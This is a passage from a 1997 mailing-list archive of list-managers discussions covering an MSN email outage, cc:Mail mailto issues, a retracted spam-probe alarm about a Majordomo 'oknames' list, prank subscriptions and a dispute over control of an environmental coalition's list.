-0700 (PDT) Date: Fri, 18 Apr 1997 14:39:10 -0700 (PDT) From: Joe Smith Message-Id: <199704182139.OAA21051@tardis.Tymnet.COM> To: list-managers@greatcircle.com Subject: MSN not delivering e-mail until Saturday the 19th Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I found this article on page 3C of the Business section of the San Jose Mercury News for Friday, April 18, 1997. If things are not back up by the Saturday evening (the 19th), we are going to see a lot of "unable to deliver message after 3 days" bounces. Microsoft Network on the blink Investors in Microsoft Corp. may have been bouyed by the company's quarterly financial results Thursday, but they could not spread the word via Microsoft's electronic mail service. That is bacause the 2.5 million subscribers to the Microsoft Network have been unable to send or receive e-mail since Wednesday evening -- and are unlikely to be able to until later today -- or possibly even the weekend. Showing that event the most influential company in cybersapce can be swamped by the rising tides of Internet traffic, Microsoft disabled the e-mail service, with no warning to users, to rush through a network expansion ahead of schedule. Many Microsoft Network users had encountered delays in sending and receiving e-mail in recent weeks, as the company's network struggled to keep up with increasing demand. The company said that no e-mail messages would be lost and that the service would be working by Saturday. -Joe From owner-list-managers-outgoing Sat Apr 19 07:10:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA12714 for list-managers-outgoing; Sat, 19 Apr 1997 06:59:51 -0700 (PDT) Received: from webster.m-w.com ([206.98.43.4]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id GAA12707 for ; Sat, 19 Apr 1997 06:59:43 -0700 (PDT) Received: by m-w.com (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA01276; Sat, 19 Apr 97 09:50:35 EDT Date: Sat, 19 Apr 97 09:50:35 EDT From: awest@webster.m-w.com (Amy West) Message-Id: <9704191350.AA01276@m-w.com> To: list-managers@greatcircle.com Subject: TAN: cc:Mail and html mailto: query Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On the assumption that one of you out there also happens to be a mail admin at a site that uses cc:Mail. Our webmistress recently got mail from a user who claimed that he couldn't send us a form on our Web page because it uses a mailto: and he uses cc:Mail that isn't set up to use POP/SMTP servers, and therefore the mailto: won't work. Is this so? ---Amy West Mail Admin Merriam-Webster Inc. From owner-list-managers-outgoing Sat Apr 19 07:26:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA13954 for list-managers-outgoing; Sat, 19 Apr 1997 07:22:37 -0700 (PDT) Received: from sacusr.mp.usbr.gov (sacusr.mp.usbr.gov [140.214.12.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA13919 for ; Sat, 19 Apr 1997 07:22:27 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 7; Sat, 19 Apr 1997 07:22:18 PDT Date: Sat, 19 Apr 1997 07:22:15 PDT From: "Henry W. Miller" To: awest@webster.m-w.com CC: list-managers@greatcircle.com, henrym@sacto.mp.usbr.gov Message-ID: <009B301A.DF2F7194.7@sacto.mp.usbr.gov> Subject: RE: TAN: cc:Mail and html mailto: query Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: MX%"awest@webster.m-w.com" "Amy West" 19-APR-1997 07:13:54.53 > Subj: TAN: cc:Mail and html mailto: query > On the assumption that one of you out there also happens > to be a mail admin at a site that uses cc:Mail. > > Our webmistress recently got mail from a user who claimed > that he couldn't send us a form on our Web page because it > uses a mailto: and he uses cc:Mail that isn't set up to > use POP/SMTP servers, and therefore the mailto: won't work. > > Is this so? > > ---Amy West > Mail Admin > Merriam-Webster Inc. Amy, At the risk of fanning the flames, I can't say whether this is so or not, but I would not be surprised if this were true. At least one bureau within the Department of Interior uses cc:mail, and they have had a legion of problems. Now, ALL mail agents that interact with Internet SMTP mail have to interact either directly or indirectly with an SMTP server or servers somewhere along the line to pump mail to it's destination. But, I believe that cc:mail dumps it's mail into an internal queue, which eventually makes it's way to the outside via a gateway. Now, a company called Innosoft provides a product called PMDF, which runs on a variety of platforms. They do have a cc:mail interface for their LAN product. You might check out their page: http://www.innosoft.com/ to see if their gateway will do what you need done. Best of luck, -HWM From owner-list-managers-outgoing Sat Apr 19 11:10:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA29155 for list-managers-outgoing; Sat, 19 Apr 1997 11:01:47 -0700 (PDT) Received: from opus.SanDiegoCA.NCR.COM (h153-64-253-5.NCR.COM [153.64.253.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA29148 for ; Sat, 19 Apr 1997 11:01:41 -0700 (PDT) Message-Id: <199704191801.LAA29148@honor.greatcircle.com> Received: by opus.SanDiegoCA.NCR.COM; 19 Apr 97 11:01:54 PDT From: Bill.Houle@SanDiegoCA.NCR.COM (Bill Houle) Date: Sat, 19 Apr 1997 11:01:54 -0700 In-Reply-To: "Henry W. Miller" RE: TAN: cc:Mail and html mailto: query (Apr 19, 7:22am) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: awest@webster.m-w.com Subject: RE: TAN: cc:Mail and html mailto: query Cc: list-managers@GreatCircle.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk } > From: MX%"awest@webster.m-w.com" "Amy West" 19-APR-1997 07:13:54.53 } > Subj: TAN: cc:Mail and html mailto: query } } > On the assumption that one of you out there also happens } > to be a mail admin at a site that uses cc:Mail. } > } > Our webmistress recently got mail from a user who claimed } > that he couldn't send us a form on our Web page because it } > uses a mailto: and he uses cc:Mail that isn't set up to } > use POP/SMTP servers, and therefore the mailto: won't work. } > } > Is this so? Assuming the mail system has some connectivity to the Internet, if SMTP addressing is not supported directly there should be a 'transformation' available to allows that address to be passed via the SMTP gateway. For instance, if I had Netscape use the MAPI interface to MSMail 3.2 and clicked on a mailto link, MSMail would be brought up as: To: user@some.dom.ain However, this address as-is would not be recognized by MSMail. To send it via the SMTP gateway, I would have to rewrite the address slightly: To: [smtp:user@some.dom.ain] It's been a while since I used cc:Mail, but I recall that a similar rewrite transformation is used by their gateway. I would expect that the user (or their mail admin) should know what that format is. -- Bill Houle Bill.Houle@SanDiegoCA.NCR.COM NCR Corporation (619) 485-4027 From owner-list-managers-outgoing Sat Apr 19 16:55:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA16870 for list-managers-outgoing; Sat, 19 Apr 1997 16:48:06 -0700 (PDT) Received: from mail.proper.com (mail.proper.com [206.86.127.224]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA16863 for ; Sat, 19 Apr 1997 16:48:01 -0700 (PDT) Received: from [165.227.249.100] (dharma.proper.com [165.227.249.100]) by mail.proper.com (8.8.5/8.7.3) with ESMTP id QAA18717; Sat, 19 Apr 1997 16:47:14 -0700 (PDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 19 Apr 1997 16:52:16 -0700 To: listmom-talk@skyweyr.com, list-managers@GreatCircle.COM From: Paul Hoffman Subject: Probably prelude to a spam: getting on "oknames" list Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I believe that the following is probably a precursor to a spam attack. My guess is this is an effort to get on lists by using the "oknames" list in Majordomo. FYI, this worked at my site, so I've now had to change the "oknames" file to read-only. I'm contacting abuse and postmaster at pobox.com. --Paul Hoffman, Director --Internet Mail Consortium ========== Date: Sat, 19 Apr 1997 14:01:32 -0700 (PDT) From: Mail Delivery Subsystem Subject: Returned mail: User unknown To: Majordomo-Owner@imc.org MIME-Version: 1.0 Auto-Submitted: auto-generated (failure) The original message was received at Sat, 19 Apr 1997 14:01:32 -0700 (PDT) from majordomo@localhost ----- The following addresses had permanent fatal errors ----- oknames-approval ----- Transcript of session follows ----- 550 oknames-approval... User unknown Message delivered to mailing list owner-majordomo 554 /no/such/directory/dead.letter... cannot open: No such file or directory Reporting-MTA: dns; mail.proper.com Arrival-Date: Sat, 19 Apr 1997 14:01:32 -0700 (PDT) Final-Recipient: RFC822; oknames-approval@mail.proper.com Action: failed Status: 5.1.1 Last-Attempt-Date: Sat, 19 Apr 1997 14:01:32 -0700 (PDT) Return-Path: Majordomo-Owner@imc.org Received: (from majordomo@localhost) by mail.proper.com (8.8.5/8.7.3) id OAA17738; Sat, 19 Apr 1997 14:01:32 -0700 (PDT) Date: Sat, 19 Apr 1997 14:01:32 -0700 (PDT) Message-Id: <199704192101.OAA17738@mail.proper.com> To: oknames-approval From: Majordomo@imc.org Subject: SUBSCRIBE oknames Reply-To: Majordomo@imc.org -- tv@pobox.com has been added to oknames. No action is required on your part. --Paul Hoffman, Director --Internet Mail Consortium From owner-list-managers-outgoing Sat Apr 19 17:11:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA18375 for list-managers-outgoing; Sat, 19 Apr 1997 17:02:55 -0700 (PDT) Received: from mail.proper.com (mail.proper.com [206.86.127.224]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id RAA18335 for ; Sat, 19 Apr 1997 17:02:44 -0700 (PDT) Received: from [165.227.249.100] (dharma.proper.com [165.227.249.100]) by mail.proper.com (8.8.5/8.7.3) with ESMTP id RAA18824; Sat, 19 Apr 1997 17:01:57 -0700 (PDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 19 Apr 1997 17:04:49 -0700 To: listmom-talk@skyweyr.com, list-managers@GreatCircle.COM From: Paul Hoffman Subject: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Insert foot in mouth. Sorry about that. After looking at the Majorodomo log, I discovered that the person did a "lists" command and simply subscribed to everything, including the "oknames" list which appeared on the "lists" list. This might still be a prelude to a spam, or it could be someone who just wants to be on every mailing list. However, him subscribing to "oknames" isn't necessarily a bad sign. Yet. --Paul Hoffman, Director --Internet Mail Consortium From owner-list-managers-outgoing Sun Apr 20 13:29:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26628 for list-managers-outgoing; Sun, 20 Apr 1997 13:06:47 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA26619 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:06:44 -0700 (PDT) Received: from lokkur.dexter.mi.us (lokkur.dexter.mi.us [148.59.2.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id GAA18899 for ; Wed, 16 Apr 1997 06:21:02 -0700 (PDT) Received: (from scs@localhost) by lokkur.dexter.mi.us (8.8.5/8.8.5/lokkur-1.1-scs) id JAA24612; Wed, 16 Apr 1997 09:19:48 -0400 (EDT) To: list-managers@GreatCircle.COM Path: lokkur.dexter.mi.us!not-for-mail From: scs@lokkur.dexter.mi.us (Steve Simmons) Newsgroups: local.list-managers Subject: Re: The chutzpah award Date: 16 Apr 1997 09:19:48 -0400 Organization: Inland Sea Lines: 15 Distribution: local Message-ID: <5j2jlk$o11@lokkur.dexter.mi.us> References: <335484C7.7EE5@postmodern.com> Sender: list-managers-owner@GreatCircle.COM Precedence: bulk "Michael C. Berch" writes: >This week's chutzpah award goes to wake@wln.com, apparently the admin at >an Internet training site. Her message and my response follow. *chuckle* How about a filter for their domain which auto-replies with `Due to repeated abuse and inability of the management to train the users, all subscription requests from this site are being rejected.' Hit 'em where they live. -- When women hold off from marrying men, we call it independence. When men hold off from marrying women, we call it fear of commitment. -- Warren Farrell (American Psychologist) From owner-list-managers-outgoing Sun Apr 20 13:30:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26351 for list-managers-outgoing; Sun, 20 Apr 1997 13:04:46 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA26340 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:04:43 -0700 (PDT) Received: from snark.wizard.com (snark.wizard.com [199.171.28.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id QAA05501 for ; Tue, 15 Apr 1997 16:12:46 -0700 (PDT) Date: Tue, 15 Apr 1997 16:11:36 -0700 (PDT) From: Marcy Kulic To: ANDPPH@ritvax.isc.rit.edu cc: Mike Nolan , list-managers@GreatCircle.com Subject: Re: Dealing with problem subscribers In-Reply-To: <01IHQOYKFTR2AR78EI@ritvax.isc.rit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Tue, 15 Apr 1997 ANDPPH@ritvax.isc.rit.edu wrote: > I am trying to figure out what to do. I could just say to myself that they are > not worth spending time over and just sign them off and block their access to > the list ... but some would construe this as unjust, etc., etc. > > I have been thinking of making the list moderated (at whatver risks that > might entail) maybe for a period of time and that way I'd have a > semi-justifiable means for stopping "upsetting-for-no-good-reason" (of course > _in my view_ ... actinge essentially as a censor) postings. I just went through a similar situation on the list I run. Whenever I emailed this particular bonehead he would send me back some incoherent nonsense about freedom of speech and the first amendment. Since I fund the list with both my time and $ I concluded that freedom of speech did not apply and unsubscribed him. I also added filters to the list so that he could not resubscribe, and so that his name could not be mentioned in posts. The filters caught 2 people saying they thought unsubscribing him was unfair, and one of those people unsubscribed over the issue. However I received 47 private emails thanking me for the move. So, I say go for it. You might lose a few soreheads, but most people will be thankful for it. Marcy From owner-list-managers-outgoing Sun Apr 20 13:39:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26297 for list-managers-outgoing; Sun, 20 Apr 1997 13:04:23 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA26287 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:04:21 -0700 (PDT) Received: from onramp.armchair.mb.ca (onramp.armchair.mb.ca [198.163.115.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA20542 for ; Tue, 15 Apr 1997 12:19:48 -0700 (PDT) Received: from dave (dave.armchair.mb.ca [198.163.115.50]) by onramp.armchair.mb.ca (8.8.5/8.6.9) with SMTP id NAA00969 for ; Tue, 15 Apr 1997 13:17:20 -0500 Message-Id: <3.0.1.32.19970415141544.00b59150@armchair.mb.ca> X-Sender: dave@armchair.mb.ca X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 15 Apr 1997 14:15:44 -0500 To: list-managers@GreatCircle.COM From: Dave Voorhis Subject: Re: Picking up the pieces In-Reply-To: <199704151616.MAA12504@spider.syr.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 12:16 PM 4/15/97 -0400, you wrote: >Any opinions on the policy of carrying out sign-off requests that >are sent to mailing lists? If the requests make it past the administrative checks built into the MLM, I generally carry them out, but when they get too common, I send notices to the lists on how to unsub properly. >Any thoughts about the best way >for a list administrator to reduce or avoid such situations, and about >to handle them when they arise? I believe it is MANDATORY that all publicly-accessible lists require confirmation from the prospective subscriber before subscription takes place. That will eliminate the majority of prank subs. Even with that in place, you will still occasionally get prank subscriptions, but since implementing confirmation on my lists, I've gone from about one prank sub per day to only one in the past couple of months. As for how to handle them, well, the same way you'd handle any riot, I suppose... I've had to be VERY firm on a few occasions, but as long as the list members respect the admin's authority, that won't be a problem. Dave Voorhis mailto:dave@armchair.mb.ca http://www.armchair.mb.ca/~dave From owner-list-managers-outgoing Sun Apr 20 13:39:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA26720 for list-managers-outgoing; Sun, 20 Apr 1997 13:07:40 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA26710 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:07:37 -0700 (PDT) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id HAA23869 for ; Wed, 16 Apr 1997 07:08:01 -0700 (PDT) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id JAA29257 for ; Wed, 16 Apr 1997 09:07:13 -0500 (CDT) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id JAA23586 for ; Wed, 16 Apr 1997 09:07:15 -0500 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id JAA19238 for list-managers@GreatCircle.com; Wed, 16 Apr 1997 09:07:12 -0500 From: Mike Nolan Message-Id: <199704161407.JAA19238@celery.tssi.com> Subject: The chutzpah award To: list-managers@GreatCircle.com (List Managers) Date: Wed, 16 Apr 1997 09:07:12 -0500 (CDT) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk "Michael C. Berch" wrote: > Have you considered that using live Internet lists for your training > purposes is causing additional work for list managers, especially if you > do not instruct your users to unsubscribe (or do it for them) at the end > of their session? Frankly, I would prefer not to have demo or training > accounts use my lists for "practice", and therefore will block your > domain from use of the Majordomo server here if this practice continues > to generate list bounces. This reminds me of the time some years back when an instructor at Texas Tech gave an assignment in which students had to write to the USENET Oracle (now the Internet Oracle) for e-mail practice, without explaining that the Oracle was a forum for anonymous creative writing and humor. We got hundreds of notes from mainly clueless users, all signed with a canned e-mail .sig, e.g., 'MIKE NOLAN, STUDENT'. It wound up a part of the Oracle mythos, but at the time it wasn't all that funny. It is distressing to find that there are still clueless trainers out there. -- Mike Nolan From owner-list-managers-outgoing Sun Apr 20 13:45:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA27057 for list-managers-outgoing; Sun, 20 Apr 1997 13:10:09 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA27049 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:10:07 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id TAA25090 for ; Wed, 16 Apr 1997 19:55:24 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id WAA21268; Wed, 16 Apr 1997 22:54:46 -0400 (EDT) Received: from localhost by world.std.com (5.65c/Spike-2.0) id AA11642; Wed, 16 Apr 1997 22:54:46 -0400 Date: Wed, 16 Apr 1997 22:54:45 -0400 (EDT) From: Renewable News Network X-Sender: rnn@world.std.com To: List-Managers@GreatCircle.Com Subject: HOSTILE TAKEOVER OF LIST! Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I may be putting it too dramatically, but a curious thing has happened, or, I should say, is happening, now; and I wonder, if anybody has had any similar experiences. I have been running a majordomo list service, through my local ISP, for a coalition of environmental organizations, for over a year. There is no formal arrangement. I was simply going to regular meetings of several fairly prominent groups. I automated the active e-mailers, then helped set up a bank account, started taking the minutes, compiled a directory, became the "chair" for a while, coordinated things, set the agendas, did mailings, etc. I pretty much moved on, but continued to manage the e-mail list. The group was interesting and doing useful, pleasant work; but that all changed today. The subscriber list is small, about 320, mostly in Massachusetts, but other people, all over, have signed on. Its not an active chat group. I got in the habit of picking up items of interest, from the local papers, and from online. I've become a gadfly, attending public meetings, writing reports, reviewing books, promoting my friends. About every two or three weeks, I compile an e-zine, of sorts, usually on a special topic, like the EPA clean air hearings, Earth Day, environmentalism in politics, electric utility restructuring, or a conference. Sometimes I take Alerts that others prepare, and send them out, as a publisher/distributor. They are chopped up, but editorially untouched. Most often, its just a collection of blurbs, calendar items, and articles. What happened is that I received several "Letters to the Editor," objecting to one prolific online writer and local/national environmental personality and his putdown of a business association and their attempts to be green. He attacked them; others rallied to their defense. I thought we were going to have a discussion! What did I know? Most of the information on the list is factual and dry. The articles can be opinionated. However, there's not too much debate about global warming, endangered species, energy pollution, population impacts. Its more a problem of how to work together on positive solutions. As the "publisher," I put the letters online, and agreed, in an editorial comment, that name-calling by, we'll call him "Jay," was needlessly rhetorical, and that a business group, at least talking green, was good to hear. I wanted to remind folks our coalition was started to find common ground, to build a broad basis for more logical, acceptable environmental positions - something good for consumers, the public, the earth, business, and so on. Anyway, "Jay," the original writer, who is now the chair of the coalition, took a partial list of subscribers, and, bypassing the list service, sent them a message announcing that my list would no longer publish anything, of an official nature, from the coalition (...like he can stop the presses...), and that a new list had been started by him and another self-appointed "co-chair." And that if people wanted to continue to receive the official "coalition" alerts, they should unsubscribe from my list, since they had already been "subscribed" by him to the new list, which was not automated, but had the eddresses in his headers. "Jay", of course, has limited appreciation of what I have to do to change the "info" file, and other things, such as, placements, here and there, on lists of lists and so on. All, of which, I'm willing to do. What a mess. Following "Jay's" instructions, some people have started bouncing messages around, sending commands to his complete list, and so on. His Cc: list is old, so I know he is getting swamped with a ton of undeliverable return e-mail. One loop has started between two automated lists in his header, and that has involved other addresses. I'm moderated, so my list is ok; but the do-do is hitting the fan. You can laugh, and I will, too, someday; but, right now, I don't want to bother my ISP - they are terrific. And the subscribers are all wonderful people, who do not need this. Also, Massachusetts is blessed with a number of fine environmental and other well-established nature groups and activist organizations, who are just getting used to these electronic media. Many of the organizations have names that you would all recognize. Those of us in the background, feel proud and privileged to have helped to move things forward, but... ...now, this. I'd be interested in hearing more about the personal politics - if anybody has gone through this sort of screw up - than the technical aspects, which I can handle, I think. But that's part of it, too. Please, let me hear your stories. Any suggestions? Thanks, Ross M. Donald From owner-list-managers-outgoing Sun Apr 20 14:14:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA03169 for list-managers-outgoing; Sun, 20 Apr 1997 13:59:55 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id NAA03152 for list-managers@greatcircle.com; Sun, 20 Apr 1997 13:59:51 -0700 (PDT) Received: from tx.abekas.com (tx.abekas.com [192.245.134.76]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA08636 for ; Sat, 19 Apr 1997 14:07:40 -0700 (PDT) Received: from colossus.wa by tx.abekas.com (4.1/SMI-4.1-gw) id AA06857; Sat, 19 Apr 97 14:02:34 PDT Received: by colossus.wa (4.1/SMI-4.1) id AA10920; Sat, 19 Apr 97 14:04:01 PDT Message-Id: <9704192104.AA10920@colossus.wa> To: list-managers@greatcircle.com Subject: Cyberpromo... Reply-To: mcuddy@scitexdv.com Organization: Scitex Digital Video, Inc; Redwood City, CA; USA Date: Sat, 19 Apr 1997 14:04:00 -0700 From: Mike Cuddy Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I've just about had enough of cyber-fucking-promo (pardon the language ...) Anyone have a good list of addresses stick in my cisco 2501?. I'm going to cut them off from my networks completely. (any better solutions?) -- Mike Cuddy (mcuddy@ScitexDV.com,MC312),Programmer,NT Kernel Hack,Daddy,Human. Scitex Digital Video, Inc, Redwood City, CA, USA, Earth, Sol System, Milky Way (I speak only for myself, not for Scitex, Redwood City, California, USA, etc.) "I remember asking why... Let it rain and protect us from this Cruel Sun" From owner-list-managers-outgoing Sun Apr 20 14:23:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA03466 for list-managers-outgoing; Sun, 20 Apr 1997 14:00:49 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id OAA03456 for list-managers@greatcircle.com; Sun, 20 Apr 1997 14:00:45 -0700 (PDT) Received: from mailhub.iag.net (www2.iag.net [204.27.210.7]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA13396 for ; Sun, 20 Apr 1997 08:39:57 -0700 (PDT) Received: from iag.net (root@shell.iag.net [204.27.210.69]) by mailhub.iag.net (8.8.5/8.8.5) with ESMTP id LAA11671 for ; Sun, 20 Apr 1997 11:48:31 -0400 (EDT) Received: from localhost (tv@localhost [127.0.0.1]) by iag.net (8.8.5/8.8.5) with SMTP id LAA25292 for ; Sun, 20 Apr 1997 11:37:34 -0400 (EDT) Date: Sun, 20 Apr 1997 11:37:34 -0400 (EDT) From: Todd Vierling X-Sender: tv@shell To: list-managers@greatcircle.com Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sat, 19 Apr 1997, Paul Hoffman wrote: : Insert foot in mouth. Sorry about that. After looking at the Majorodomo : log, I discovered that the person did a "lists" command and simply : subscribed to everything, including the "oknames" list which appeared on : the "lists" list. That was an accident on my part, and I'm doing a 'which' to see if you've removed me from any lists. If so, I can take my knowlegde base elsewhere, thankyouverymuch. Sending it to this list was rather nice of you, too. (Don't you probe accounts first?) ===== == Todd Vierling (Personal tv@pobox.com; Business tv@iag.net) Foo-bar-baz! == == System administrator/technician, Internet Access Group, Orlando Florida == == Dialups in Orange, Volusia, Lake, Osceola counties - http://www.iag.net == From owner-list-managers-outgoing Sun Apr 20 15:07:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA08722 for list-managers-outgoing; Sun, 20 Apr 1997 14:37:08 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA08181 for ; Sun, 20 Apr 1997 14:35:07 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id OAA25278; Sun, 20 Apr 1997 14:30:44 -0700 From: Kynn Bartlett Message-Id: <199704202130.OAA25278@ayla.idyllmtn.com> Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list To: tv@pobox.com (Todd Vierling) Date: Sun, 20 Apr 1997 14:30:44 -0700 (PDT) Cc: list-managers@GreatCircle.COM In-Reply-To: from "Todd Vierling" at Apr 20, 97 11:37:34 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Todd Vierling wrote: > On Sat, 19 Apr 1997, Paul Hoffman wrote: > : Insert foot in mouth. Sorry about that. After looking at the Majorodomo > : log, I discovered that the person did a "lists" command and simply > : subscribed to everything, including the "oknames" list which appeared on > : the "lists" list. > That was an accident on my part, and I'm doing a 'which' to see if you've > removed me from any lists. If so, I can take my knowlegde base elsewhere, > thankyouverymuch. Sending it to this list was rather nice of you, too. > (Don't you probe accounts first?) Why were you subscribing to every list at Paul's site? Around here (my server), that rates as "suspicious activity". If I notice someone subscribing to every list, I generally take that as a prelude to spam and/or an attack of some sort. (Or else it's another damned archivist, and I shoot archivists on sight.) --Kynn Idyllmtn/MLists From owner-list-managers-outgoing Sun Apr 20 15:12:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA07348 for list-managers-outgoing; Sun, 20 Apr 1997 14:30:04 -0700 (PDT) Received: from ginger.vnet.net (ginger.vnet.net [166.82.1.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA07301 for ; Sun, 20 Apr 1997 14:29:50 -0700 (PDT) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by ginger.vnet.net (8.8.4/8.8.2) with ESMTP id RAA10083 for ; Sun, 20 Apr 1997 17:29:43 -0400 (EDT) Received: from jazzmin.vnet.net (murr@jazzmin.vnet.net [166.82.1.4]) by elvis.vnet.net (8.8.4/8.8.4) with ESMTP id RAA19045 for ; Sun, 20 Apr 1997 17:26:54 -0400 (EDT) Received: from localhost (murr@localhost) by jazzmin.vnet.net (8.7.6/8.7.3) with SMTP id RAA23558 for ; Sun, 20 Apr 1997 17:26:07 -0400 (EDT) X-Authentication-Warning: jazzmin.vnet.net: murr owned process doing -bs Date: Sun, 20 Apr 1997 17:26:06 -0400 (EDT) From: murr rhame Reply-To: murr rhame To: List-Managers@GreatCircle.COM Subject: Re: HOSTILE TAKEOVER OF LIST! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Wed, 16 Apr 1997, Renewable News Network wrote: > I have been running a majordomo list service, through my local ISP, > for a coalition of environmental organizations, for over a year. > There is no formal arrangement... > Anyway, "Jay," the original writer, who is now the chair of the > coalition, took a partial list of subscribers, and, bypassing the > list service, sent them a message announcing that my list would no > longer publish anything, of an official nature, from the coalition > (...like he can stop the presses...), and that a new list had been > started by him and another self-appointed "co-chair." And that if > people wanted to continue to receive the official "coalition" > alerts, they should unsubscribe from my list, since they had > already been "subscribed" by him to the new list, which was not > automated, but had the eddresses in his headers. Spin-off or break-away mailing lists are fairly common. It is possible that both of your lists can coexist. If "Jay" is the chair person of the coalition, he probably has the right to run the official mailing list for the coalition. You could either continue to run your list as an unofficial, unsanctioned mailing list or you can offer to run your original list per "Jay's" specifications. I'd get on the phone with "Jay" and see if you can negotiate a mutually agreeable resolution. Difficult to say more based on what you posted. - murr - From owner-list-managers-outgoing Sun Apr 20 16:59:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA29454 for list-managers-outgoing; Sun, 20 Apr 1997 16:55:25 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id QAA29388 for ; 